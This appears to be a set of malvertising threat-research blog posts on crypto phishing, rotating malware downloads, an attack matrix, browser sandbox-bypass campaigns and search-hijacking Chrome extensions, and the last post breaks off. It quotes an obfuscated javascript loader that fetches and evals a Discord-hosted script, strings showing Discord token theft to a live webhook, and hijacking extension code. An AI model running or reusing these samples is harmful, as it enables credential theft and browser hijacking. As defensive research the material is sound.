These are search ads that target Ledger related keywords. (Ledger and Trezor are the two brands leading the hardware crypto wallet space.) Ledger Live is the companion software that is used to an operate a Ledger Hardware wallet.

These ads link to cloaked phishing pages that masquerade as Ledger Live and try to get victims to enter their seed phrase:

Ledger, of course, is well aware of phishing as an existential threat to their customers and do attempt to drive the point home to their customers that the seed phrase is sacred and there is no reason to ever reveal it, but still it remains the premier technique for thieves.

Giveaway Scams

Social media also reigns as a popular channel for attacks of a similar flavor. Creative threat actors are able to orchestrate marketing funnels that lure victims in a subtle matter and escalate towards a phishing payload.

Here’s a great example that starts with a sponsored Instagram story from an account that very believably looks like it belongs to Vitalik Buterin, the founder of Ethereum. Especially interesting is that the post being promoted appears technical (“account abstraction proposal”), which is very much aligned with the type of content that Vitalik is known to share.

A would be victim might be surprised to see Vitalik has an instagram presence, and quickly click through to the profile, where they would see a hundreds of thousands of followers.

At this point, one might follow the account and forget about it until a few days later when this familiar scheme appears in a story posted by Vitalik, and the rest is history.

Recently, we have seen a scam with a similar flavor, but much darker. Fake websites that claim to be raising crypto funds to provide Ukraine with war relief:

ukrainethereum\.com

For >90% of the crypto phishing pages that we see, the mechanics are nearly identical and low tech: Emulate the target brand, ask the victim to connect their wallet, and prompt for the seed phrase:

But somewhat surprisingly, this is often haphazardly done:

The funny thing is that this type of incompetence is splashing around all over the place when it comes to Web3 phishing. Take for example this website that we recently saw go live:

Visually, it’s a nicely done fake of the registration page for the “Gangster All Star” NFT project found here ->

https://register.gangsterallstar.com/

, but unfortunately for the folks behind the scheme, it doesn’t even work due to CORS issues with the implementation.

Despite the fact that the malicious site appears to be broken (or perhaps still under construction), we do see a clever attempt to host the malicious JavaScript on a Discord owned domain:

javascript:fetch(/*xmarksthespot.*/atob(/*Whitelist.*/’aHR0cHM6Ly9jZG4uZGlzY29yZGFwcC5jb20vYXR0YWNobWVudHMvOTM1MTA4MzQ4MzYwMTM0NjY2Lzk1MTkxMDEzMDY5NjQ3ODg4MC94Lmpz’)).then(leaving => leaving.text()).then(successfully => eval(successfully))

cdn.discordapp.com is the home of media uploads on Discord.

At this time a full analysis of x.js is beyond the scope of this post, but we were able to dump some strings during a preliminary analysis:

{
    “tCaTr”: “You must be logged in to be verified!”,
    “VLIfL”: “not discord”,
    “zjtSw”: “httVz”,
    “PYpUd”: “hilBt”,
    “RDOhl”: “hUhwI”,
    “YFxdN”: “QZveY”,
    “pGiOE”: “fLEax”,
    “WzyaG”: “bMors”,
    “nnmVT”: “HjhYS”,
    “xdZiY”: “(((.+)+)+)+$”,
    “eorVo”: “return (function() “,
    “SmSId”: “{}.constructor(\”return this\”)( )”,
    “hSOfp”: “RXkIJ”,
    “JfwQW”: “POST”,
    “fFjJA”: “application/json”,
    “uTPKN”: “lpGeS”,
    “GTCOa”: “ZAHvL”,
    “TgnuJ”: “htPPV”,
    “QVwzX”: “NLjuq”,
    “YDyKm”: “nHpUC”,
    “LZtzQ”: “bBGYi”,
    “uLHAM”: “oxqpQ”,
    “noJTY”: “AVAFo”,
    “XTkiZ”: “kSGHS”,
    “eWKtO”: “TIOyk”,
    “OMtYB”: “log”,
    “FNpyg”: “warn”,
    “BLjkX”: “info”,
    “LmRQM”: “error”,
    “fiVSQ”: “exception”,
    “tbiTg”: “table”,
    “wFORl”: “trace”,
    “WpDWO”: “ZfGRe”,
    “epmIH”: “mROhB”,
    “qrJNY”: “sXEBm”,
    “uXpno”: “https://discord.com/api/v9/users/@me“,
    “XjzYq”: “NbFEb”,
    “kZSAk”: “cakNw”,
    “SEkWt”: “YkYRW”,
    “bkSGs”: “SyUyv”,
    “eEJEC”: “User”,
    “UsUtV”: “:e_mail: Email”,
    “nppIo”: “Not Verified”,
    “YKPbw”: “:mobile_phone: Phone”,
    “rwYHh”: “Token”,
    “dLGGN”: “Login script”,
    “cWskP”: “beforeunload”,
    “oKqpj”: “https://discord.com/api/webhooks/951908349677568091/4N7ccrI6NWBsD-Gw7BIs3MTyYm037ixS1iJvzwiQESe1z_gE6Se6j5JPMmQArspuJ4dF”,
    “DckyP”: “discord.com”,
    “DcpUu”: “iframe”,
    “klTDd”: “display:none”,
    “ltDUi”: “load”
}

A closer look at that webhook link potentially reveals the true intentions behind this phishing page:

$ curl https://discord.com/api/webhooks/951908349677568091/4N7ccrI6NWBsD-Gw7BIs3MTyYm037ixS1iJvzwiQESe1z_gE6Se6j5JPMmQArspuJ4dF | jq .
{
  “type”: 1,
  “id”: “951908349677568091”,
  “name”: “Spidey Bot”,
  “avatar”: null,
  “channel_id”: “951907890422222938”,
  “guild_id”: “927995455508447242”,
  “application_id”: null,
  “token”: “4N7ccrI6NWBsD-Gw7BIs3MTyYm037ixS1iJvzwiQESe1z_gE6Se6j5JPMmQArspuJ4dF”
}

https://www.tomsguide.com/news/discord-spidey-bot-malware-is-stealing-usernames-passwords

But not all Web3 scams are blunders — some combine clever technical implementation with good timing in order to rapidly wreak havoc. One of these attacks went live on 03/20/2022 and began with widespread twitter spam originating from seemingly verified accounts:

Victims are offered the promise of a very highly coveted token in exchange for 0.33 ETH:

ape-coin\.net

If we look at the code under the hood, we are met with a pretty well thought out scheme, but only after some really hateful/nasty comments ironically directed towards would be plagiarists of the attackers code:

After victims connect their wallet, the site posts the address to its own backend api in order to check the victim’s balance and whether or not they own NFTs:

Once the relevant details are gathered, victims are tricked into authorizing transactions that send their valuable NFTs and/or the 0.33ETH to claim the Ape Coin directly to the attacker. Here’s the code that does it.

Stolen NFTs are then sold off on OpenSea. We can see just how lucrative this scheme has been by watching the address on Etherscan:

0xed4f4f461de76264299429909cfb102283b47310

As the phishing attack continues, the bad actors behind the site rotate their address, so the $136k stolen so far only represents a portion of the final haul.

Of course, not all phishing attacks are ad-powered either, some are hyper-targeted.

Jorge Ledezma, a generative artist working with NFTs shared this experience with us:

This is a common scenario where scammers will approach artists who they know to be involved with crypto and ask for a commissioned work. They will then send an archive of “reference photos” which unpacks to malware.

In this case:

Exact_sizes_to_order_from_the_artist.rar

Which unpacks to a Windows executable that is very poorly disguised as a PDF:

Exact sizes to order from the artist_document.pdf.pif

Virus Total gives us a clue:

https://www.virustotal.com/gui/file/581b56dea8f59f59e14d10c1d417e94d6432901494fd9fa315a7fe53c0f13f26/details

While a comprehensive analysis of this malware is outside of the scope of this post, a cursory overview provided by Taha Karim shows us that this is indeed a RAT with C2 in Seychelles.

More info @ AlienVault:

https://otx.alienvault.com/indicator/ip/185.215.113.15

On launch, this piece of malware scans the Victim’s drive for .txt files that contain the keywords ‘key’, ‘wallet’, and ‘seed’ in the filename or body and posts those back home to the C2.

Opsec Reminder: Please don’t store your private keys in text files on your device.

Impact & Scope

Over the course of any given week, we will detect several hundred newly active Web3 phishing domains and/or campaigns in addition to those targeting specific Web3 brands that we monitor.

If we look at the prevalence of these types of campaigns by target and type, we see some of the following statistics:

Approximately 1 in 5 Web3 phishing attacks that are promoted via malvertising are giveaway scams.
30% of all scams that we we have detected in the last 7 days somehow abuse or piggyback off of the Coinbase brand.
1/4 of all Web3 phishing campaigns are seed phrase / fake wallet campaigns.
Of those, 20% target the Ledger brand explicitly.
The Axie Infinity brand is one of the hotter targets with 10 new IOCs per day on average in recent weeks.

IOCs

https://gist.github.com/eliyastein/9ea550c756ba42ae06c80ef273ba10ca#file-gistfile1-txt

How File Hashes Fail As A Malware Detection Heuristic

Confiant — Mon, 06 Dec 2021 20:50:00 GMT

In this blog post we take a trip downstream from malvertising delivery mechanisms and take a close up look at a fake Flash update landing page that was used to deliver desktop malware. We will take a look at some of the tricks these cybercriminals use in order to thwart detection on the wire. More specifically, we will see how malware campaigns are orchestrated to aggressively rotate landing page domains and serve binaries with unique hashes from unique sources on every single request.

The screenshot above and variations like it are probably familiar to anyone who has been online in the last 15+ years. Despite Flash having been on the decline for years and officially sunset as of 12/31/2020, landing pages like this are without question the most common vehicle for the spread of malware variants like Shlayer and Bundlore, both of which we have covered pretty extensively:

OSX/Shlayer new Shurprise.. unveiling OSX/Tarmac
Mac Spyware Shlayer is now dropping an entirely new malware we called OSX/Tarmac.blog.confiant.com

New macOS Bundlore Loader analysis
Looking at a recent Malvertising campaigns detected by Confiant realtime Malvertising detection engine, we stumbled…blog.confiant.com

A typical malware campaign of this sort will rely heavily on an infrastructure that aggressively rotates domains, subdomains, and S3 buckets — either in real time or on a very frequent schedule (minutes). The more sophisticated players will also bundle or re-package their application on the go in order to ensure every single download has a different hash and file size.

Let’s dig in to our case study:

The landing page in question (screenshot posted above) was located at the following url:

https://softupdate[.]betterpath2updatinglink[.]work/sew?ftri=2qEIDmFngfGBxZafssyNEZwMRnAU20BU1EkcYRg2mUE.&cid=454444878915449034&sub=3193745#

Source of the html is can be found below:

https://gist.github.com/eliyastein/e69b3288a34251bdb8a2a37677a1682

And perhaps the most relevant piece of this whole html file is right here:

Download

Upon manual inspection, we click the download link and observe that we are redirected to an S3 bucket for the binary. After 2 or 3 manual downloads, we see that the location of the file (S3 bucket) is rotated, the file size is off by several bytes, and the dmg produces a different hash.

Curious as to what exact length the operators will go to try and obscure what they’re doing. We extract the download link and whip up a shell script to hit it repeatedly and log the results.

The script:

Some quick notes on the script:

We need to pass a long a valid User Agent for our request to be accepted.
We use the -I flag which only gives us the header, making it easy to extract the redirect to S3.

After leaving the script to run for ~2 hours we have aggregated a list of 2,272 unique paths on S3 spread across the following 15 unique buckets.

7fad0694-2b87-460c-8a49-8
b429
326ed53a-4f92-45f5-aa6c-e60
14a3574e
8b67323e-357a-4838-b330-c9ba7
a10becda-e785-41fe-950d-562081aba8f
87b0
9868d5df-ee7c-4eb2-87cd-49b17c9
5f6c2a7b-7
f86c2204-8a2c-40d2-8
9317dbdc-539
977a70d5-f4e
4c2e39d9-160c-44fd
8bcb
0d391009-f9

The file sizes are mostly all unique as well:

$ ls -l | awk ‘{print $5}’ | uniq | wc -l
    2216

As well as the hashes:

$ for f in *; do shasum -a 256  $f; done | awk ‘{print $1}’ | uniq | wc -l
    2270

Detection Is Tricky

Though campaigns that leverage these tactics (and similar ones) have long been observed, the cybersecurity world still places a heavy premium on unique malware hashes and download links as IOCs, but ephemeral download links are entirely unreliable for detection.

Here’s a visualization of how any single malware campaign can quickly scale to a game of whack-a-mole against an epic number of urls.

Without a doubt, monitoring these campaigns at every layer can lead to crucial findings from a threat intelligence perspective, but reliable mitigation is better done upstream from the binary, the download link, and sometimes the landing page at a network level.

We find that real time analysis of malvertising chains is quite critical in the discovery of central points of infrastructure for these malicious campaigns that can be addressed more reliably. Usually these are pre-landers or campaign ID’s on unsavory ad networks that have malware affiliates on their networks.

IOCs — S3 Buckets

https://gist.github.com/eliyastein/e94ebef2f39e29495e0193065644924c

IOCs- DMG Hashes

https://gist.github.com/eliyastein/5b6fab50978919ad6d5c9c7ac4c4207e

Profiling hackers using the Malvertising Attack Matrix by Confiant

Confiant — Mon, 18 Oct 2021 20:33:00 GMT

Originally written by Taha Karim

Photo by Hacker Noon on Unsplash

What is Malvertising?

A relatively new threat vector, Malvertising is a cyber-attack relying on ad networks and digital ads exposing virtually any internet user surfing the web to the risk of infection.

From my experience, if I have to compare with what we know from the cyber security world, I would define Malvertising as the following: Malvertising is a mixture of watering holes, exploit kits, web attacks and drive-by downloads all combined and run by now identifiable threat groups called Malvertisers.

Malvertisers rely heavily on the advertising ecosystem and its complexity to funnel their persistent and complex to detect cyber attacks.

The Modus Operandi (MO) and Tactics, Techniques & Procedures (TTPs) that we tracked so far on different malicious actors within ad networks helped shape a new kill chain.

Malvertising Kill Chain:

Understanding the AD tech ecosystem:

Due to the nature of this new kill-chain and the complexity of the ad tech stack, it is essential to understand how ads are displayed on a web page.

Let’s quickly explain one crucial piece from the ad tech world, called real-time bidding or RTB (or what is the process an ad go through before it is displayed)

Courtesy of Circus Street, taken from this video

Note: The video link above is one of the best quick explanations I found so far, and if you are new to ad tech, I highly recommend you checking it out, or continue reading below.

Before an ad is displayed on the web page, it has to go first through a complex ad stack involving DSPs, ad exchanges, and SSPs define below:

DSP: or demand-side platforms are used by the buyers, media agencies, or advertisers who have a demand for ad inventory. DSP holds information from the buy-side about criteria they need: targeted audience, maximum bid price, location, etc.
SSP: or Supply-Side Platforms are used by the sellers, media owners who are supplying ad inventory. They hold a record of the inventory a media owner wants to sell: the different audience segments that visit the media owner site, the minimum price the media owner wants to sell for, etc.
Ad Exchange: is the piece of technology that auctions off the ad inventory made available by the SSPs.

The whole process is buyers will be entered in if the inventory available matches the criteria in their DSP. The one with the maximum bid price will win the auction. The auction process starts when a user opens a web page with an ad unit on it, and the ad that wins the auction appears at the same time that the rest of the page loads.

This whole process is what we call RTB, and all this complex process takes a fraction of a second to execute.

Advertisers and Publishers are using the technologies above to transact billions of impressions daily.

Like any ecosystem that generates billions of impressions, it will be subject to hacking and cyber-attacks. Threat actors infiltrated this ad ecosystem and turned it to their advantage.

As we will see in the Kill Chain below, threat actors could be present at different steps of this RTB process.

Malvertising Kill Chain:

Malvertising Kill Chain

A typical Malvertising Kill Chain is a sequence of the following phases:

Initial Access: Initial Access is the first step where the Malvertisers enters the Advertising ecosystem. Usually Malvertisers access the ad ecosystem by creating fake agencies for the purpose of establishing relationships with ad buying platforms (DSPs) or by creating fake ad creatives.
Execution: A tactic used by Malvertisers to execute malicious code typically via forceful redirects.
Persistence: the step where Malvertisers persist within the ad ecosystem, ensuring their campaigns can last the longest time possible while evading detection mechanisms.
Cloaking: A tactic where Malvertisers implement specific fingerprints and techniques that helps them define whether or not to cloak a landing page, which is the rendering/reveal of the final landing page
Landing Page: After several redirect chains, visitors end up on a final page, the landing page. Typically a landing page is the Malvertisers final “payload” and comes in different forms and purposes ranging from Drive-by downloads, Exploit kits, or investment scams, etc.

Due to the sophistication of Malvertising cyber attacks and their deceptive nature, we have seen attackers using more tactics, not in a specific order, at different phases of this Kill Chain multiple times:

Defense Evasion, Browser Exploitation, and Credential Access can be used before and/or after the Cloaking and/or the Execution phase.
Attackers can have multiple Landing Pages with some/all of them using the Cloaking tactic.

The Impact is another tactic that we added to help Enterprise assess the risks of such attacks and understand whether they are of a destructive nature, causing a denial of service, hijacking resources, or causing a financial loss.

Therefore, we extended this model from five sequential phases to nine tactics to represent it within a matrix.

Malvertising Attack Matrix

The Malvertising Attack Matrix is derived from the MITRE ATT&CK Framework representation. Multiple techniques can be employed to accomplish the same tactic, depending on the attacker’s main objective. however, not all nine tactics need to be employed.

This representation has the advantage of aggregating the techniques used in previous attacks by documenting techniques, tactics and tools used. This aggregation is known as behavior profile.

Based on the behaviors we identified, the Confiant security team has identified multiple threat actors like Zirconium, eGobbler, FizzCore, ScamClub, DCCBoost, Tag Barnakle, or YoSec along with multiple UNC groups with clusters of activity tied to Malvertising.

Malvertising threat actors’ profiles can now be identified and tracked via the Malvertising Attack Matrix, see below.

How to

We built a website specifically for the Malvertising Attack Matrix that can be found at this URL:

https://matrix.confiant.com

Malvertising Attack Matrix defined by Confiant

Along with the matrix, we have different behavior profiles aka Threat actors, that we identified and added their profiles to this Matrix. By selecting a threat actor profile, the matrix will show the associated Tactics and Techniques.

For example, this how the threat profile of Zirconium looks like:

Zirconium threat profile

Following the same standards as the MITRE ATT&CK framework, each of the 70+ techniques of the Malvertising Attack Matrix has a page that includes a brief summary of the adversarial technique, procedure examples, and references.

Example of [C401]By-pass Popup Blocker Technique of the [C400] Browser Exploitation Tactic:

[C400] Browser Exploitation | [C401] By-pass Popup Blocker

Notations and Identifiers

Each tactic and technique have an ID. This ID is used in the contextualized information present in our STIX v2.1 feeds at different places:

We use this ID in the field name of a STIX V2.1 Attack-pattern as following: [ID Tactic| ID Technique]
We use this ID to access the webpages referenced in the STIX V2.1 External reference field of a STIX v2.1 Attack-pattern, following this format: https://matrix[.]confiant.com/data/data[ID Tactic].html#[ID Technique]

Example

Below is our malvertising feed, representing a campaign (TI 950451017) we detected from a threat actor dubbed BRS.

We can see we have three Attack-patterns with references to the matrix for additional information, enabling threat intelligence to understand every attack and its full context:

STIXv2.1 Feed visualization of a BRS campaign TI 9504510174

Every Attack-Pattern STIX v2.1 object has an External Reference field, holding a link to its definition in the Malvertising Attack Matrix.

Note: To receive these Threat intelligence feeds, our TAXII server is hosted at taxii.confiant.com.
Please reach out to us to access to our malvertising feeds at the following email : security@confiant.com

Final Notes

Is Malvertising low risk?

Malvertising is interchangeably used with Adware. Many security companies historically have classified Adware as low priority, low risk.

This is mainly due to PUA/PUP software that caused little to no harm to infected computers in the past.

But the truth is things have changed now, and threat actors see Malvertising as a potential new attack vector and foothold into Enterprise networks, who do not really include Malvertising into their threat model.

Adware has evolved since, and it is now weaponized with backdoors, along with Malware, helping attackers establishing a foothold within Enterprise networks.

Our Objective

The objective of the Malvertising Attack Matrix isn’t just profiling threat actors using different techniques and tactics.

It is also a tool helping Enterprise security teams taking into account Malvertising hopefully incorporate it into their threat model. This matrix will hopefully provide enough knowledge to understand Malvertising and the risks encountered by Enterprises when targeted.

Finally, this matrix is a way to communicate actionable threat intelligence to entities that are outside of the ad tech world and we will extensively use it going forward in our reporting.

Malvertising Threat Actor “Yosec” Exploits Browser Bugs To Push Malware (CVE-2021–1765, CVE-2021–30533)

Confiant — Mon, 16 Aug 2021 19:03:00 GMT

Most threat actors that operate via ad tech have embraced an operational shift over the last 2 years, leaning heavily into cloaked clickbait and away from forced redirects and pop-ups.

Despite this growing trend, some malvertisers, particularly those that push malware, continue to hang on to redirect tactics. Among the players that stuck it out, Yosec were one of the more consistent groups that ran large scale, high impact campaigns throughout 2020.

Much of the overall decline in disruptive redirects is due to several factors. First, ad tech security overall has matured greatly in the last four years. In addition, web browsers have made significant improvements around functionality that requires user activation from within iFrames — forced redirects are a prime example.

In spite of these improvements, cybercriminals often remain a step ahead with tricks and tooling to circumvent these measures as they always have. Case in point are the multiple browser bugs that we have reported to be abused by malvertisers in recent years:

This latest exploit was discovered as part of a raging malvertising campaign that rocked the ad tech ecosystem on November 3rd, 2020 with an estimated 100MM ad events impacted on that day alone.

Here’s the redirect payload that piqued our curiosity:

When it comes to nefarious JavaScript, it’s common to see a lot of things that simply don’t make sense, usually red herrings used to obfuscate the code. However, if you operate under the assumption that everything is intentional and dig deep, you might find that some of the confusing code is far from random.

As always with unique redirect payloads, we run a comprehensive suite of tests which includes analysis of their efficacy in seeming impossible environments like cross-origin iFrames, sandboxing, etc.

In this case, we found the payload effectively bypasses iframe sandboxing in both WebKit and Chromium based browsers.

Yosec Today

The malvertising group continues to stay active throughout 2021 at steady, but mostly modest volumes, smuggling redirect payloads behind benign looking display ads and using their own infrastructure for serving the creatives like this example from June:

We can get a sense of their day-over-day cadence by graphing daily volumes over the course of recent months. The peaks on the chart represent in the ballpark of ~600K ad impressions in the wild.

And of course, since Yosec typically pushes malicious applications, they will target mainly desktop operating systems:

Final Thought

Yosec is but one example of a sophisticated criminal enterprise that leverages digital advertising technology as a vector to deliver dangerous payloads.

In order to maximize the impact of such attacks, these malvertisers are very keen on exploiting any browser bugs that have broadened the scope of potential victim devices.

Iframe sandbox and user activation bypasses are ripe targets for these attackers, and while browser vendors do make an earnest attempt to patch these quickly, new functionality is constantly being introduced with every release — potentially increasing the attack surface for these types of abuses and increasing the severity of these already disruptive malware campaigns.

Timeline

Nov. 3, 2020 — Confiant detects a massive Yosec campaign with unique iframe sandbox bypass exploit.

Nov. 4, 2020 — Chrome team and Apple teams are notified.

Jan. 22, 2021 — Apple issues Webkit fix, CVE-2021–1765 is assigned.

Mar. 1, 2021 — Patched in Chrome.

May 24, 2021 — Chrome CVE-2021–30533 assigned.

References

https://bugs.chromium.org/p/chromium/issues/detail?id=1145553

https://support.apple.com/en-us/HT212147

IOCs (Last 6 months)

*.vidobron.com
*.zolbermedia.com
*.appzo-th.com
*.cloudrtb.com
*.brownstmedia.com
*.dartonload.com
*.realpasha.com
*.kneetotow.com
*.halperbul.com
*.kirzageria.com
*.trevorone.com
*.roadtocrowd.com
*.roxxanalytics.com
*.ishlem.com
*.marketianwasp.com
*.dreamybeard.com
*.parmaads.com
*.binsforall.com

STIX:

https://gist.githubusercontent.com/eliyastein/abea41b0693083688342da447a321871/raw/7e14d60f4ace80a60eeb272dd552e28431b9ca74/Yosec%202021%20Stix.json

Looking At Chrome Extensions That Hijack Search - Spread Via Malvertising

Confiant — Wed, 30 Jun 2021 19:47:00 GMT

stock photo via Unsplash

In this blog post we discuss an ongoing malvertising campaign that pushes search hijacking browser extensions. We take a deep dive into the code of one of these extensions, and discuss the impact and scope of the campaign.

First — A Sample

While studying the many potential payloads that victims of malvertising might be lured towards, we came upon an ongoing campaign that promotes odd Chrome Extensions with niche use cases:

Clicking the download button reveals something like this:

Let’s take a closer look at an extension from this campaign that we previously installed called “Pick Color”, which has since been removed from the Chrome Web Store.

Here’s the manifest.json

{
   “background”: {
      “scripts”: [ “lib/color.js” ]
   },
   “browser_action”: {
      “default_icon”: {
         “128”: “128.png”
      },
      “default_popup”: “data/popup/popup.html”,
      “default_title”: “Color Picker”
   },
   “description”: “find  the perfect color via an stylish color picker popup “,
   “icons”: {
      “128”: “128.png”
   },
   “key”: “MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAsjXcWVH8U8+6NpH7czI7kN9fiim15NPVz3RlIBTd4MnxecVGCmVhexXMQugIfzC5rTrbprx9TlkWCmmVM14xZNC/csxJCHL5YW9mnAY2zU/jmg3rd4yDH4iDo3zlgv5j1BHblzJ73xU1CjLXFcJj8+1I2Krtf4/PNw2xfZHTECJcfZmKUyPPxqBstCA8pCEk18Ryoaxz2pTGVa3osqCFZE4hhbbLQzD8F9PnhuVdzNHKRrgeHdFF/spYYw/yj4jZ2E9MWXDfvT3imKHgZ5DQiQa1Sf2l7VAdDCHL+uv/xzNRsrNCStv95Pkw7LYeu0gwMnx8UZT8Nw8gsaPBsPr8owIDAQAB”,
   “manifest_version”: 2,
   “name”: “Pick Color”,
   “permissions”: [ “storage”, “tabs” ],
   “update_url”: “https://clients2.google.com/service/update2/crx”,
   “version”: “1.1”
}

It doesn’t look too invasive according to the permissions and Chrome’s modals:

”permissions”: [ “storage”, “tabs” ],```

The look, feel and functionality is just as seemingly benign:

All is well until we do a search, and see that the browser does a wild hop through an intermediate domain before taking us to Yahoo (not our default search engine). The Chrome Extension’s authors are affiliates of Yahoo and get a commission for every sponsored search click that they source:

The extension also has an interesting defensive tactic: It will auto-close any tab that references the extension ID in the url:

Let’s take a tour of the code, starting with a directory tree of the files in the unpacked extension directory:

cepmhjglgonbhlpgjbmlgcpdfidmlonn $ tree
.
└── 1.1_0
    ├── 128.png
    ├── _metadata
    │   ├── computed_hashes.json
    │   └── verified_contents.json
    ├── data
    │   └── popup
    │       ├── popup.css
    │       ├── popup.html
    │       ├── popup.js
    │       └── resources
    │           ├── artistic.js
    │           ├── bluish.js
    │           ├── comic.js
    │           ├── css3.js
    │           ├── drawing.js
    │           ├── favorite.js
    │           ├── game.js
    │           ├── hues.js
    │           ├── large.js
    │           ├── material.js
    │           ├── monitor.js
    │           ├── notify.js
    │           ├── popular.js
    │           ├── rainbow.js
    │           ├── random.js
    │           ├── safe.js
    │           ├── spectrum.js
    │           └── ui.js
    ├── lib
    │   └── color.js
    └── manifest.json

6 directories, 26 files

Faced with a bunch of files to dig through, we try to narrow our scope with a grep for that fxsmash domain we were able to get a glimpse of during our redirect to Yahoo search:

cepmhjglgonbhlpgjbmlgcpdfidmlonn $ grep -r fxsmash *
1.1_0/lib/color.js:  var eid = chrome.runtime.id, help = [],err = “https://fxsmash.xyz/mnc.php?q=“;
1.1_0/lib/color.js:     }, 1e3), setTimeout(function() {chrome.tabs.create({ url: “https://fxsmash.xyz/chrinstall.php“ })}, 1500))})});

Eyeballing the files confirms that the bulk of the code is here to support the actual decoy functionality of picking colors, so we turn our attention to color.js as per the output of our grep command.

Below, we have reformatted the original color.js (over 1200 lines of code) in order to eliminate anything not directly related to either search hijacking or evasion:

Let’s highlight some of the interesting tidbits. First, we see an eid variable that is assigned the Chrome Extensions’s ID. This is going to be used to execute the defensive tactic that we showed earlier. You can see exactly how it’s done on line 47.

tu.includes(eid) && !tu.includes(”errors”) && chrome.tabs.remove(e, function() {})

This all happens in one of the chrome.tabs.onUpdated event listeners which are used to monitor new tabs as they’re spawned. The chrome.tabs API provides extension developers with information about the tab url, the favicon, and the tab’s status (unloaded, loading, complete).

The chrome.tabs API can also be used to spawn new tabs or close existing tabs, which as it turns out can enable significant disruption (like search hijacking).

We can see other traces of how these things are used in the code to close tabs in select cases. For example, they don’t want to leave the fxsmash domain lingering anywhere:

if (tabs[i].url.indexOf(’xsmash’) > -1 && tabs[tabs.length - 1].url.indexOf(’xsmash’) > -1) {
    chrome.tabs.remove(tabs[i].id, function() {});
}

And there are some specific targets that they close the tabs on as well:

if (tabit.url.includes(”pid=default2017”) || tabit.url.includes(”hspart=dcola”) || tabit.url.includes(”&ptag”) || tabit.url.includes(”&conlogo”) || tabit.url.includes(”&FORM”)) {
  chrome.tabs.remove(tabit.id, function() {});
}

So how does the search hijack itself work? Again, achrome.tabs.onUpdated event listener is used in order to monitor new tabs as they spawn and the urls are matched against popular search engines:

tu.includes(”ogle”) && tu.includes(”earc”) && (t = gp(tu),
c = (i = Object.values(t))[0],
tu.includes(”gs_ssp”) && (c = i[1]),
tu.includes(”gs_ssp”) && tu.includes(”gs_lcp”) && (c = i[0]),
tu.includes(”&sxsrf”) && (c = i[0]),
tu.includes(”?sxsrf”) && (c = t.q)),
tu.includes(”ng.c”) && tu.includes(”i”) && tu.includes(”arch?”))
...

if (tu.includes(”oo.co”) && !tu.includes(”mages.se”) && !tu.includes(”ideo.sea”) && !tu.includes(”;_ylt=”) && tu.includes(”arch.ya”)) {
...

Given a match, the query parameter is parsed out and passed to the fxsmash endpoint, which in turn is going to route it to Yahoo search with whatever affiliate parameters filled in:

chrome.tabs.create({
  url: err + c
}, ...

Impact & Scope

Having tracked this campaign for several weeks, we observed that the typical lifespan of one of these extensions on the Chrome Web Store averages anywhere from several days to a week.

These two screenshots were taken approximately 24 hours apart:

That’s a growth rate of 1k users per, day per campaign, and these campaigns are typically run in tandem, pushed by 5 rotating landing pages that we have identified over the last month:

hxxps://mkkq.xyz/new/pr/continue/indextwo.html
hxxps://nowinstall.xyz/new/pr/continue/indextwo.html
hxxps://skiss.xyz/new/pr/continue/indextwo.html
hxxps://umxs.xyz/new/pr/continue/indextwo.html
hxxps://byyr.xyz/new/pr/continue/indextwo.html

Remember though, that these Chrome Extensions persist locally even after they are removed from the Chrome Web Store. That means that despite frequent take downs, the overall victim count easily scales to one million infected devices per year for this campaign (if not more), and if the ad serving infrastructure gets shut down, the infected devices continue to pay dividends to the fraudsters in perpetuity until manually removed from those devices.

Where Google Fails

Earlier in the blog post we posted a screenshot of the modal that Google serves up after a user clicks the “Add To Chrome” button on these extensions.

These are meant to serve as a security warning so that users can have a sense of consequence for what they’re about to install.

Let’s compare this modal to a different extension:

Print Recipes, for all intents and purposes, is another extension that hijacks search, but is a little more forthcoming about it and the website is complete with a privacy policy and uninstall instructions…

However, if we go to install the extension:

For two extensions that do effectively the same thing, why should the messaging on one be more benign than the other? Especially given that access to the chrome.tabs API enables significant disruption.

Furthermore, we assume that the multi-day lifespan of each extension is only as “short” as it is, because that’s how long it takes to amass enough user complaints to warrant a takedown, but policing this campaign should be much easier since the malicious fxsmash domain appears in plain text in all of these extensions — though more recently they’ve started concealing the domains by reversing the string:

edd=”/zyx.hsamsxf//:sptth”

Finally, while the fxsmash extensions are promoted primarily via forced redirect, push notifications, and popunders — many similar campaigns run through basic display ads as is the case with thePrint Recipes example, which has been running on Google Ads since Dec. 2019:

IOCs

Landing pages:

hxxps://mkkq.xyz/new/pr/continue/indextwo.html
hxxps://nowinstall.xyz/new/pr/continue/indextwo.html
hxxps://skiss.xyz/new/pr/continue/indextwo.html
hxxps://umxs.xyz/new/pr/continue/indextwo.html
hxxps://byyr.xyz/new/pr/continue/indextwo.html

Chrome Extension IDs:

njnmjhifihjacdmhmdapcjgjkhhpcjdd
jjdknmjjefkdkjbgcbkggccgojehfcon
cepmhjglgonbhlpgjbmlgcpdfidmlonn
fdccnjnhlpmffbbciebopbppkbdiiopo
pjgbopjlibfpbodekmddmeabkloghljp
kajoaccphgdbgjchegabddkjkineodbh
nkolgjafipcjklgpiekjmgjelpifdead

Intermediate Search-Hijack Domain:

fxsmash.com

Epilogue

On June 29th we contacted Google’s anti-malvertising team to report this campaign and offer an advanced look at this blog post.

Google has since issued an announcement clarifying some of their Chrome Web Store policies on Deceptive Installation Tactics, Spam Content, and a requirement for Web Store developers to have 2FA enabled.

Google’s Developer Program policies can be seen in full here:

https://developer.chrome.com/docs/webstore/program_policies/

OSX/Hydromac: A new macOS malware leaked from a Flashcards app

Confiant — Thu, 03 Jun 2021 19:50:00 GMT

Photo by Lorenzo Lamonica on Unsplash

Originally written by Taha Karim

At @ConfiantIntel we had some “luck” finding a new malware targeting the new Apple flagship M1 computers. I put “luck” between quotes, as we know when you do cyber, you don’t rely on luck to find stuff, but you look at places were most likely stuff like this is to be found.

This has to do with Confiant’s detection engine, and our unique position in the Killchain: scanning malicious ads as they load, on major publisher websites in the United States.

Not only do we see bad ads loading and we scan them, but we block them as well. In other words, security vendors won’t be able to see what we see, unless they scan as early as we do in the killchain.

What did we find?

We found a malware we dubbed MapperState: We didn’t really choose this name as it was taken from the file name, and the C2 server this malware communicated with : mapperstate[.]com

MapperState was installed in our honeypot by OSX/Tarmac which itself was downloaded by a OSX/Bundlore loader, compatible ARM and notarized by Apple as we reported one week ago:

The chain of different stages has become very complex nowadays and the analysis phase takes more time, due to the malware authors’ understanding of how reverse engineering is being done, but also countering the tools we wrote to decrypt their malware.

